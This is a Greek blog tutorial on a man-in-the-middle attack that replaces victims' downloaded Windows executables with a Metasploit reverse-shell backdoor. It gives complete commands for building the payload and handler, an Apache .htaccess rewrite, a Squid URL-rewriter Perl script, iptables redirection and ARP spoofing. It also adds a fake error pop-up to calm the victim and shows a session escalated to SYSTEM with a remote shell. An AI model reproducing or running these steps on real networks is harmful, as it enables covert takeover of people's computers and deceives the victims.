Το προφίλ μας στο Google Plus
0

What you see is what you get… NOT!

Έχουμε μιλήσει και χρησιμοποιήσει άπειρες φορές την τεχνική επίθεσης man in the middle (MiTM). Αν και είναι σχετικά απλή στη σύλληψη, οι δυνατότητες που προσφέρει στον επιτιθέμενο είναι άπειρες. Εντάξει, δεν είναι είναι άπειρες όπως, π.χ., οι πραγματικοί αριθμοί, αλλά είναι σίγουρα απειραριθμήσιμες. Ξέρετε. Σαν το πλήθος των ακεραίων.

Μην ανησυχείτε. Δεν αναφερόμαστε σε κάποια μορφή επίθεσης κατά την οποία θέτουμε το υποψήφιο θύμα knock-out, βομβαρδίζοντάς το με προτάσεις, αποδείξεις και συμπεράσματα της Μαθηματικής Θεωρίας Συνόλων. Όχι, μιλάμε για πολύ πιο αθώες τεχνικές επιθέσεων, από αυτές που ναι μεν προκαλούν μια αναταραχή αλλά σίγουρα δεν αφήνουν κάποια μόνιμη ζημιά. Συγκεκριμένα, τις προάλλες είχαμε περάσει μια βόλτα από το blog του g0tmi1k. Μεταξύ άλλων εκεί είδαμε μια νέα, ενδιαφέρουσα και διασκεδαστική παρουσίαση. Αφορά σε επίθεση κατά την οποία το θύμα εγκαθιστά μόνο του, χωρίς καν να το συνειδητοποιεί, ένα backdoor στο Windows box του, παρέχοντας έτσι στον επιτιθέμενο πλήρη πρόσβαση στον σύστημά του.

Σκεφτήκαμε λοιπόν ν’ αναπαράγουμε πρώτα την επίθεση (ξέρετε, για διασκέδαση) και κατόπιν να την παρουσιάσουμε και σ’ εσάς, αναλυτικά και βήμα προς βήμα. Πιο συγκεκριμένα, στο σενάριό μας ο επιτιθέμενος βρίσκεται σε BackTrack Linux VM και παρεμβάλλεται μεταξύ του θύματος, το οποίο τρέχει Windows 7 32bit Ultimate με το Service Pack 1, και του router του τοπικού δικτύου. Στο BackTrack τρέχει ο πασίγνωστος διακομιστής διαμεσολάβησης (proxy) ονόματι Squid και μάλιστα λειτουργεί σε transparent mode, γεγονός που σημαίνει ότι οι web browsers στα μηχανήματα των πελατών τον εκμεταλλεύονται χωρίς να χρειάζονται κάποια ρύθμιση. Χάρη σ’ ένα κατάλληλο URL re-writer που επιστρατεύει το Squid, κάθε URL του θύματος που καταλήγει σ’ εκτελέσιμο αρχείο αλλάζει ώστε να δείχνει σ’ ένα backdoor, το οποίο σερβίρεται από τον τοπικό web server Apache, ο οποίος επίσης τρέχει στο BackTrack. Στην πράξη, λοιπόν, κάθε φορά που ένα υποψήφιο θύμα κατεβάζει και κατόπιν τρέχει ένα πρόγραμμα ή επιχειρεί ν’ αναβαθμίσει ένα ήδη εγκατεστημένο στον υπολογιστή του, στην πραγματικότητα ενεργοποιεί ένα backdoor. Αυτό δεν κάνει τίποτε άλλο από το να προσφέρει στον επιτιθέμενο ένα κανάλι επικοινωνίας προς το μηχάνημα του θύματος.

Το υποψήφιο θύμα θέλει να κατεβάσει το Gimp για τα Windows του, γι' αυτό και τρέχει τον Internet Explorer 9 κι αμέσως πηγαίνει στην επίσημη σελίδα download του πρότζεκτ. (Για το παράδειγμα αυτό υποθέτουμε ότι δεν τρέχει κάποιο anti-virus).Είδατε ο νέος IE9; Εμφανίζοντας ένα διακριτικό -αλλά όχι κρυμμένο- παραθυράκι ρωτά το χρήστη τι θέλει να κάνει με το εκτελέσιμο πάνω στο link του οποίου μόλις έκανε κλικ.Ασχέτως με την παρουσία ή όχι anti-virus, o ΙΕ9 είναι σε θέση να γνωρίζει ότι το συγκεκριμένο αρχείο δεν είναι δημοφιλές μεταξύ των χρηστών των Windows, υπό την έννοια ότι δεν κατεβαίνει συχνά. Ακριβώς γι' αυτό προειδοποιεί σχετικά. Το υποψήφιο θύμα όμως ξέρει τι κάνει - και δεν το ενδιαφέρει τι πιστεύει ο IE9 για τη δημοφιλία του Gimp. "Εμ, βέβαια, για τη Microsoft το free software φυσικά και δεν είναι δημοφιλές", προλαβαίνει να σκεφτεί πριν αγνοήσει το μήνυμα. Αυτό που δεν υποψιάζεται είναι ότι ο IE δεν έλαβε το εκτελέσιμο του Gimp installer αλλά ένα άλλο, παράξενο, το οποίο πράγματι δεν είναι δημοφιλές.

Το SmartScreen Filter του Internet Explorer επιμένει: Αυτό το εκτελέσιμο δεν είναι υπογεγραμμένο και πιθανώς να βλάψει τον υπολογιστή. "Σιγά να μην ήταν υπογεγραμμένο το Gimp, επειδή στη Microsoft θέλουν τάχα μου τάχα μου να μας προστατεύουν", σκέφτεται το υποψήφιο θύμα και ζητά την εκτέλεση του προγράμματος ξεφυσώντας. Τελικά μεγάλο βάσανο αυτή η με το ζόρι προστασία...Α, βέβαια, είχαμε ξεχάσει και το User Account Control! Άστο να τρέξει το ευλογημένο, επιτέλους!Αν είναι δυνατόν! Τόση ώρα ο φίλος μας παιδεύεται για ένα αρχείο το οποίο, προφανώς, δεν έχει κατέβει σωστά! Έλεος, δηλαδή... (Ναι, για το τυπογραφικό λάθος ευθυνόμαστε εμείς. Παρακάτω, όπως θα δείτε σε λίγο, το έχουμε διορθώσει :$)

Στην πραγματικότητα το υποψήφιο θύμα όντως κατέβασε κάποιο εκτελέσιμο - όχι όμως το Gimp, όπως νόμιζε. Το εκτελέσιμο αυτό μάλιστα δεν είχε κανένα απολύτως πρόβλημα, έτρεξε επιτυχώς και τώρα, όπως βλέπει ο επιτιθέμενος στην κονσόλα του Metasploit, έχει ανοίξει κι ένα ωραιότατο κανάλι επικοινωνίας μεταξύ θύματος-θύτη.

Ας παρακολουθήσουμε όμως από κοντά την όλη επιχείρηση.

Βήμα 1

Ξεκινάμε το BackTrack, κάνουμε login ως root, σηκώνουμε το περιβάλλον γραφικών κι από μια κονσόλα συνεχίζουμε ενεργοποιώντας το σύστημα δικτύωσης κι αναβαθμίζοντας το Metasploit:

root@bt:~# startx
root@bt:~# start-network
root@bt:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:93:26:40
          inet addr:192.168.1.7  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe93:2640/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2857 errors:2541 dropped:0 overruns:0 frame:0
          TX packets:1153 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3154112 (3.1 MB)  TX bytes:123798 (123.7 KB)
          Interrupt:19 Base address:0x2024
...
root@bt:~# msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

U    test/functional/framework/msfconsole_spec.rb
U    test/functional/meterpreter/meterpreter_php_spec.rb
...
A    data/exploits/mysql/lib_mysqludf_sys_64.dll
A    data/exploits/CVE-2010-3275.amv
 U   .
Updated to revision 12315.

Όπως φαίνεται παραπάνω, η διεύθυνση IP που πήρε το δικό μας VM ήταν η 192.168.1.7.

Βήμα 2

Φτιάχνουμε ένα μικρό σκριπτάκι σε Ruby για την εμφάνιση ενός pop-up με τίτλο "Setup" και το μήνυμα "Cannot execute binary file."

root@bt:~# echo "client.railgun.user32.MessageBoxA(0,\"Cannot execute binary file.\",\"Setup\",\"MB_OK\")" > ~/popup.rb

root@bt:~# cat popup.rb
client.railgun.user32.MessageBoxA(0,"Connot execute binary file.","Setup","MB_OK")

Η εμφάνιση του pop-up επιτυγχάνεται μέσω του Railgun extension για τον meterpreter, το οποίο παρέχει πρόσβαση στο API των Windows. Γιατί όμως ν’ ασχοληθούμε μ’ ένα τέτοιο script; Πολύ απλά, επειδή όταν το υποψήφιο θύμα τρέξει το backdoor θέλουμε να δει μια κάποια προειδοποίηση ότι κάτι δεν πήγε καλά. Ουσιαστικά, έτσι είναι λιγότερο πιθανό ν’ ανησυχήσει. Αν αμφιβάλλετε γι’ αυτό, φανταστείτε πώς θ’ αντιδρούσατε εσείς αν τρέχατε κάποιο πρόγραμμα και δεν συνέβαινε τίποτε απολύτως – ή τουλάχιστον έτσι φαινόταν!

Βήμα 3

Δημιουργούμε το backdoor μας:

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 X > /var/www/backdoor.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: {"LHOST"=>"192.168.1.7", "LPORT"=>"4444"}

Στη θέση του 192.168.1.7 πρέπει, φυσικά, να βάλετε τη διεύθυνση IP του δικού σας box. To backdoor που μόλις φτιάξαμε κι αποθηκεύσαμε στον κατάλογο /var/www είν’ ένα εκτελέσιμο για Windows το οποίο όταν τρέξει στον υπολογιστή του θύματος επιχειρεί να συνδεθεί με το box του επιτιθέμενου, παρέχοντάς του ένα meterpreter shell.

Βήμα 4

Όταν θα τρέξει το backdoor στον υπολογιστή του θύματος, σ’ εκείνον του επιτιθέμενου θα πρέπει να το περιμένει το κατάλληλο exploit του Metasploit:

root@bt:~# msfconsole
                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|

       =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 676 exploits - 354 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
       =[ svn r12315 updated today (2011.04.14)

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set AutoRunScript /root/popup.rb
AutoRunScript => /root/popup.rb
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, none, process
   LHOST     0.0.0.0          yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
msf exploit(handler) >

Μεταξύ άλλων, παρατηρήστε ότι φροντίσαμε ώστε με το που θα εγκαθιδρυθεί η επικοινωνία μεταξύ των υπολογιστών θύτη και θύματος να εμφανιστεί εκείνο το pop-up στην οθόνη του τελευταίου.

Για τη συνέχεια αφήνουμε το Metasploit να περιμένει και συνεχίζουμε σ’ ένα άλλο παράθυρο τερματικού.

Βήμα 5

Ώρα ν’ ασχοληθούμε με τον τοπικό μας web server, τον Apache, ο οποίος θα δίνει στο θύμα το backdoor, αντί για το εκτελέσιμο που ζήτησε. Ξεκινάμε με τη δημιουργία του αρχείου .htaccess (προσοχή στην τελεία αριστερά), μέσα στον κατάλογο /var/www. Το αρχειάκι αυτό μπορούμε να το φτιάξουμε μ’ έναν οποιοδήποτε text editor. Μιας και βρισκόμαστε στο περιβάλλον του KDE, το Kate είναι μια χαρά:

root@bt:~# kate /var/www/.htaccess

Τα περιεχόμενα του .htaccess πρέπει να είναι τα ακόλουθα:

Options +FollowSymlinks
RewriteEngine on
RewriteRule ^(.*) backdoor.exe

Αποθηκεύουμε το αρχείο. Η σημασία και χρησιμότητα του .htaccess θα γίνει φανερή σε λίγο. Aν πάντως θέλετε κάντε τώρα ένα μικρό διάλειμμα και δείτε το σχετικό λήμμα της Wikipedia.

Βήμα 6

Ανοίγουμε το αρχείο /etc/apache2/sites-enabled/000-default, π.χ., με το Kate:

root@bt:~# kate /etc/apache2/sites-enabled/000-default

Είστε στο περιβάλλον γραφικών του BackTrack 4, επομένως δουλεύετε με το KDE. Από την έκδοση 5 θα 'χετε επιλογή και γι' άλλα περιβάλλοντα εργασίας, όπως το GNOME και το Fluxbox. Προς το παρόν, ένας άριστος text editor για το KDE είναι το Kate! Εκτός κι αν προτιμάτε το nano για την κονσόλα κειμένου, δηλαδή...Αλλάζουμε τη γραμμή 11 ώστε να γίνει

AllowOverride All

κι έτσι να λαμβάνονται υπόψη οι οδηγίες του αρχείου .htaccess. Αποθηκεύουμε κι εγκαταλείπουμε το Kate. Ξεκινάμε τον Apache μ’ ένα

root@bt:~# /etc/init.d/apache2 start
Starting web server:
apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

Αγνοήστε το προειδοποιητικό μήνυμα, είναι εντελώς φυσιολογικό. Πάμε τώρα ν’ ασχοληθούμε και με το Squid.

Βήμα 7.

To Squid πιθανόν ν’ απουσιάζει, οπότε φροντίζουμε να το εγκαταστήσουμε:

root@bt:~# apt-get -y install squid3
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  squid3-common
Suggested packages:
  squidclient squid3-cgi resolvconf
The following NEW packages will be installed:
  squid3 squid3-common
0 upgraded, 2 newly installed, 0 to remove and 0 not upgraded.
Need to get 0B/1098kB of archives.
After this operation, 7266kB of additional disk space will be used.
Selecting previously deselected package squid3-common.
(Reading database ... 256348 files and directories currently installed.)
Unpacking squid3-common (from .../squid3-common_3.0.STABLE7-1ubuntu1_all.deb) ...
Selecting previously deselected package squid3.
Unpacking squid3 (from .../squid3_3.0.STABLE7-1ubuntu1_i386.deb) ...
Processing triggers for man-db ...
Setting up squid3-common (3.0.STABLE7-1ubuntu1) ...
Setting up squid3 (3.0.STABLE7-1ubuntu1) ...
Creating Squid HTTP proxy 3.0 spool directory structure
2011/04/14 17:43:36| Creating Swap Directories
2011/04/14 17:43:36| /var/spool/squid3 exists
2011/04/14 17:43:36| Making directories in /var/spool/squid3/00
...
2011/04/14 17:43:36| Making directories in /var/spool/squid3/0F

Restarting Squid HTTP Proxy 3.0: squid3.

<p>Πολύ ωραία. Επειδή είναι μάλλον απίθανο να θέλουμε το Squid ενεργό κάθε φορά που ξεκινάμε το BackTrack, φροντίζουμε ώστε ν' αφαιρέσουμε το αντίστοιχο script από το σύνολο εκείνων που καλούνται κατά το boot:</p>

root@bt:~# update-rc.d -f squid3 remove
 Removing any system startup links for /etc/init.d/squid3 ...
   /etc/rc0.d/K30squid3
   ...
   /etc/rc6.d/K30squid3
Βήμα 8

Μ’ έναν text editor ανοίγουμε το αρχείο ρυθμίσεων του Squid, που είναι το /etc/squid3/squid.conf:

root@bt:~# kate /etc/squid3/squid.conf

Οφείλουμε να κάνουμε τις ακόλουθες αλλαγές.

  • Γραμμή 588. Πρέπει να γίνει κάπως έτσι: acl localnet src 192.168.1.0/24. Εσείς, βέβαια, θα βάλετε την κατάλληλη για το τοπικό σας δίκτυο περιγραφή IP. Για παράδειγμα, αν οι διευθύνσεις που παίρνουν τα μηχανήματα στο LAN σας είναι της μορφής 10.0.0.*, τότε τη γραμμή 588 θα την αλλάξετε ώστε να γίνει acl localnet src 10.0.0.0/24. Αν πάλι είναι της μορφής 192.168.0.* θα την αλλάξετε σε acl localnet src 192.168.0.0/24 κ.ο.κ.
  • Γραμμή 644. Σβήνουμε το χαρακτήρα # στ’ αριστερά της γραμμής, επομένως ενεργοποιούμε την οδηγία http_access allow localnet. Μ’ αυτή και την προηγούμενη τροποποίηση ουσιαστικά περιγράφουμε το τοπικό μας δίκτυο και λέμε στο Squid να δέχεται αιτήσεις πελατών μέσα απ’ αυτό.
  • Γραμμή 868. Φροντίζουμε ώστε η γραμμή να γίνει http_port 3128 transparent. Χάρη στην οδηγία "transparent" που μόλις προσθέσαμε, δεν χρειάζεται ν’ ενημερώνονται οι πελάτες του Squid για την παρουσία του διακομιστή μεσολάβησης. Ουσιαστικά, οι web browser στα μηχανήματα του LAN θα ‘ναι πλέον σε θέση να χρησιμοποιούν τον proxy αυτόματα – αρκεί το BackTrack να λειτουργεί ως router γι’ αυτά. Με την τεχνική του ARP spoofing θα φροντίσουμε *και* γι’ αυτό ;)
  • Τέλος αρχείου. Προσθέτουμε τη γραμμή url_rewrite_program /root/replace.pl. Για το σκριπτάκι replace.pl θα συζητήσουμε σε πολύ, μα πάρα πολύ, λίγο.
Βήμα 9

Το Perl script ονόματι replace.pl που ορίσαμε ως URL rewriter στο Squid, εξετάζει κάθε URL κι αν βρει ότι καταλήγει σε πρόγραμμα EXE τότε τ’ αλλάζει μ’ ένα τοπικό URL, που επίσης καταλήγει σ’ ένα EXE με το ίδιο όνομα. Το νέο URL αφορά στην τοπική εγκατάσταση του Apache και, χάρη στο αρχείο .htaccess που φτιάξαμε προηγουμένως, στην πραγματικότητα δείχνει προς το backdoor μας! Το replace.pl το δίνει ο g0tmi1k από το blog του αλλά μπορείτε αν θέλετε να το κατεβάσετε από το http://bit.ly/replacedotpl:

root@bt:~# wget http://bit.ly/replacedotpl
--2011-04-15 13:12:30--  http://bit.ly/replacedotpl
Resolving bit.ly (bit.ly)... 168.143.172.53
Connecting to bit.ly (bit.ly)|168.143.172.53|:80... connected.
[...]
Resolving dl.dropbox.com (dl.dropbox.com)... 184.72.245.128
Connecting to dl.dropbox.com (dl.dropbox.com)|184.72.245.128|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 828 
Saving to: `replace.pl'

100%[=======================>] 828         --.-K/s   in 0s      

2011-04-15 13:12:31 (13.6 MB/s) - `replace.pl' saved [828/828]

Ρίξτε μια ματιά στα περιεχόμενα του script:

root@bt:~# cat replace.pl

#!/usr/bin/perl
########################################################################
# replace.pl         --- Squid Script (Application replacement)        #
# g0tmi1k 2011-03-09                                                   #
########################################################################
use IO::Handle;
use File::Basename;

$|=1;
$ourIP = "192.168.1.7";
$debug = 0;

if ($debug == 1) { open (DEBUG, '>>/tmp/replace_debug.log'); }
autoflush DEBUG 1;

while (<>) {
   chomp $_;
   if ($_ =~ /(.*\.exe)/i) {
      if ($debug == 1) { print DEBUG "Input: $url\n"; }
      $url = $1;
      $filename = basename( $url );
      $new_url = "http://$ourIP/$filename";
      print "$new_url\n";
      if ($debug == 1) { print DEBUG "Filename: $filename\nOutput: $new_url\n"; }
   }
   else {
      print "$_\n";
   }
}

Στοιχηματίζουμε ότι ακόμα κι αν δεν γνωρίζετε Perl μπορείτε να καταλάβετε τη γενική λογική του script. Το μόνο που κατά πάσα πιθανότητα θα χρειαστεί ν’ αλλάξετε είναι η τιμή της μεταβλητής ourIP, η οποία πρέπει να ‘χει τη διεύθυνση IP του box σας. Αν είναι, λοιπόν, πραγματοποιήστε την αλλαγή με το Kate. Πριν συνεχίσουμε οφείλουμε να κάνουμε το script εκτελέσιμο:

root@bt:~# chmod 755 replace.pl

Μια χαρά. Μπορούμε τώρα να επανεκκινήσουμε το Squid, ώστε να λάβει υπόψη τις αλλαγές στο squid.conf:

root@bt:~# /etc/init.d/squid3 restart
Restarting Squid HTTP Proxy 3.0: squid3.

Σε άλλα νέα, το υποψήφιο θύμα έχει αρκετό καιρό ν' αναβαθμίσει το Notepadd++. Μέσα από το πρόγραμμα, λοιπόν, κάνει τη σχετική επιλογή... (Σημείωση: Και γι' αυτό το παράδειγμα, το anti-virus είναι απενεργοποιημένο.)Και ναι, έμα νέο πακέτο αναβάθμισης περιμένει! Πάρα πολύ ωραία. Για έναν χρήστη που σέβεται τον εαυτό του, δεν υπάρχει ωραιότερο πράγμα από μια αναβάθμιση. Αναβάθμιση ίσον εξαγνισμός ίσον βελτίωση ίσον ευλογία - ή κάπως έτσι, τέλος πάντων.

Φυσικά. Κλείσε το πρόγραμμα για να πραγματοποιήσεις την εγκατάσταση. Τι καλά!Cannot execute binary file?! Seriously? Μα τι συμβαίνει επιτέλους σήμερα; Τα μισά προγράμματα κατεβαίνουν χτυπημένα; Ααααα, δεν ξεκινάει καλά η μέρα - καθόλου καλά δεν ξεκινά! (Η μέρα.)

Χμ, μια χαρά πάει η μέρα σήμερα - αλλά για τον επιτιθέμενο. Όπως βλέπει από την κονσόλα του Metasploit, ήδη έχει δυο sessions προς το Windows box του θύματος. Μια χαρά, λοιπόν :D

Βήμα 10

Χάρη στην τεχνική του ARP poisoning μπορούμε να παρεμβάλουμε το box μας μεταξύ του υπολογιστή του θύματος και του router του LAN. Θα ‘μαστε έτσι σε θέση να διαχειριζόμαστε όλη τη δικτυακή κίνηση του θύματος. Όμως για να το πετύχουμε πρέπει πρώτα να ενημερώσουμε κατάλληλα τον πυρήνα του Linux:

root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@bt:~# cat /proc/sys/net/ipv4/ip_forward
1

Ωραία. Θέλουμε, προφανώς, να περνάμε όλο το HTTP traffic του θύματος μέσα από το Squid. Κανένα πρόβλημα, αρκεί να ορίσουμε τον κατάλληλο κανόνα για το iptables:

root@bt:~# iptables -t nat -A PREROUTING -i eth0 -p tcp --destination-port 80 -j REDIRECT --to-port 3128

(το 3128 είναι το port το οποίο εξ ορισμού χρησιμοποιεί το Squid). Πλέον, είναι όλα έτοιμα για την επίθεση ARP poisoning:

root@bt:~# arpspoof -i eth0 -t 192.168.1.8 192.168.1.1
0:c:29:93:26:40 0:1e:c2:ad:66:de 0806 42: arp reply 192.168.1.1 is-at 0:c:29:93:26:40
0:c:29:93:26:40 0:1e:c2:ad:66:de 0806 42: arp reply 192.168.1.1 is-at 0:c:29:93:26:40
...

Στο παράδειγμά μας το μηχάνημα του θύματος είχε ως IP το 192.168.1.8 κι εκείνο του router ήταν το 192.168.1.1. Τροποποιήστε την προηγούμενη εντολή αναλόγως, ώστε να ταιριάξει στη δική σας περίπτωση.

Βήμα 11

Επιστρέφουμε στο παράθυρο τερματικού όπου τρέχει το Metasploit και περιμένουμε το θύμα μας να επιχειρήσει το κατέβασμα κάποιου εκτελέσιμου ή ν’ αναβαθμίσει κάποια ήδη εγκατεστημένη εφαρμογή. Ανεξαρτήτως του τι ακριβώς θα κάνει, με το που θα πάρει και θα εκτελέσει το backdoor μας εκείνο θα επικοινωνήσει με το αντίστοιχο exploit του Metasploit δημιουργώντας ένα νέο session μεταξύ των δύο υπολογιστών. Εννοείται πως για κάθε session που δημιουργείται το Metasploit μας ενημερώνει σχετικά. Δείτε ένα παράδειγμα του τι μπορούμε να κάνουμε μ’ ένα από τα διαθέσιμα sessions:

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
System Language : el_GR
OS              : Windows 7 (Build 7601, Service Pack 1).
Computer        : WIN7VM
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > getuid
Server username: WIN7VM\Subzero
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 1504 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>cd \
cd \

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is D06C-7DB0

 Directory of C:\

10/31/2009  01:02 AM                 3 7Loader.TAG
06/11/2009  12:42 AM                24 autoexec.bat
06/11/2009  12:42 AM                10 config.sys
07/14/2009  05:37 AM    <DIR>          PerfLogs
04/14/2011  07:38 PM    <DIR>          Program Files
10/30/2009  02:36 PM    <DIR>          Users
03/19/2011  08:45 PM    <DIR>          Windows
               3 File(s)             37 bytes
               4 Dir(s)  73,852,932,096 bytes free

C:\>

Όπως βλέπετε, μέσα από το ενεργό session αποκτάμε πλήρη πρόσβαση στο απομακρυσμένο σύστημα. Περισσότερα για το πώς ακριβώς το υποψήφιο θύμα πέφτει στην παγίδα μας φαίνονται στα σχετικά screenshots.

Επιτυχημένη επίθεση χωρίς anti-virus;!

Αυτή τη φορά το υποψήφιο θύμα έχει anti-virus - και το 'χει ενημερωμένο κι ενεργοποιημένο. Μέσα από τον Internet Explorer 9, πηγαίνει να κατεβάσει το πασίγνωστο κι εξαιρετικά αποτελεσματικό συμπιεστικό 7-zip.Πολύ παράξενα πράγματα! Το anti-virus βαράει συναγερμό ουρλιάζοντας για το 7-zip! Μα, είναι ποτέ δυνατόν να περιέχει κακόβουλο κώδικα το 7-zip, όταν μάλιστα προέρχεται από τον επίσημο δικτυακό τόπο; Χμ, παράξενα πράγματα. Διόρθωση: ΠΑΡΑ πολύ παράξενα πράγματα... :SΓια να πετύχει η επίθεση που δείχνουμε το θύμα θα πρέπει να *μην* τρέχει κάποιο anti-virus. Είναι λογικό να θεωρείτε πολύ τραβηγμένη αυτή την παραδοχή, πριν όμως βγάλετε συμπεράσματα παρακαλούμε λάβετε υπόψη τα ακόλουθα:

  • Eπειδή εσείς γνωρίζετε τους κινδύνους και τρέχετε anti-virus, αυτό δεν σημαίνει ότι τους γνωρίζουν κι όλοι οι άλλοι.
  • Aν το θύμα τρέχει μια φρέσκια εγκατάσταση των Windows είναι πολύ πιθανό να μην έχει προλάβει να εγκαταστήσει anti-virus. Είναι επίσης αναμενόμενο ότι θα κατεβάζει και θα εγκαθιστά διάφορα προγράμματα κι εργαλεία, τα οποία θεωρεί απαραίτητα για να μπορεί να χαρακτηρίσει τη νέα εγκατάσταση ως ολοκληρωμένη. Είναι νομίζουμε περιττό να σημειώσουμε ότι υπό αυτές τις συνθήκες ο επιτιθέμενος έχει μιας πρώτης τάξεως ευκαιρία για να εισέλθει στο μηχάνημα του θύματος.
  • Ακόμα κι αν το θύμα τρέχει anti-virus κι ο επιτιθέμενος δεν έχει το χρόνο ή/και τις προγραμματιστικές γνώσεις ώστε να δημιουργήσει ένα backdoor που *δεν* θα είναι ανιχνεύσιμο, το Meastploit μπορεί να τον βοηθήσει ακόμη *και* σ’ αυτόν τον τομέα. Το πώς ακριβώς περιγράφουμε σε σχετικό άρθρο που δημοσιεύεται εδώ.

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων